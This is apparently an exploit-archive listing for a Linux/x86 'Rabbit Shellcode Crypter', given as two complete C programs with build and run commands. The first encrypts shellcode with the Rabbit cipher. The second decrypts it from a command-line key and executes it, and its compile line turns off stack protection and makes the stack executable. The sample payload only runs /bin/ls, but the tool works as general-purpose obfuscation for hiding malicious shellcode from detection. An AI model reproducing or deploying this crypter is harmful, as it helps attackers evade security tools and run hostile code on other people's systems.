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Linux/x86 Rabbit Shellcode Crypter

Linux/x86 Rabbit Shellcode Crypter
Posted Apr 24, 2019
Authored by Petr Javorik

200 bytes small Linux/x86 rabbit shellcode crypter.

tags | x86, shellcode
systems | linux
SHA-256 | fb37ba82e4027cf10d73e32e412a4e7e6aa23a6579a76d4bce9a870c287d9323

Linux/x86 Rabbit Shellcode Crypter

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################################################################################
# Introduction
################################################################################
#
# Exploit Title: Rabbit Shellcode Crypter
# Date: 24.4.2019
# Exploit Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Description: Crypter which encrypts, decrypts and executes given shellcode
# using Rabbit symmetric cipher
#
################################################################################
# Keep in mind before use
################################################################################
#
# 1. Max shellcode length 200 bytes (easily adjustable)
# 2. You will probably have to adjust #include rabbit.c directive
# 3. Encryption key is strictly 16 bytes
#
################################################################################
# How to use
################################################################################
#
# 1. Download ECRYPT rabbit library http://www.ecrypt.eu.org/stream/e2-rabbit.html
# 2. Compile/Run $ gcc encrypt2rabbit.c -o encrypt2rabbit
# 3. Copy encrypted shellcode to decryptAndExecute.c
# 4. Compile $ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
# 5. Run with encryption key $ ./decryptAndExecute someencryptkeyyy
#
################################################################################
# Encryption
################################################################################

// File: encrypt2rabbit.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"

// execve /bin/ls
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};


int main()
{
ECRYPT_init();
ECRYPT_ctx ctx;
ECRYPT_keysetup(&ctx, key, 128, 0);
u8 encrypted[200];
int codeLen = strlen(code);
ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen);

int i;
printf("Encryption Key = ");
for (i=0; i<16; i++)
printf("%c", key[i]);
printf("\n");

printf("Original = ");
for (i=0; i<codeLen; i++)
printf("\\x%02x", code[i]);
printf("\n");

printf("Encrypted = ");
for (i=0; i<codeLen; i++)
printf("\\x%02x", encrypted[i]);
printf ("\n");

return 0;
}
######################################
$ ./encrypt2rabbit
Encryption Key = someencryptkeyyy
Original = \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encrypted = \x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30

################################################################################
# Decryption/Execution
################################################################################

// File: decryptAndExecute.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"

unsigned char encrypted[] = \
"\x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30";

int main(int argc, char **argv)
{
ECRYPT_init();
ECRYPT_ctx ctx;
ECRYPT_keysetup(&ctx, argv[1], 128, 0);
u8 decrypted[200];
int codeLen = strlen(encrypted);
ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen);

int (*DecryptedFun)() = (int(*)())decrypted;
DecryptedFun();
}

######################################
$ ./decryptAndExecute someencryptkeyyy
decryptAndExecute decryptAndExecute.c encrypt2rabbit encrypt2rabbit.c execve-stack execve-stack.nasm execve-stack.o
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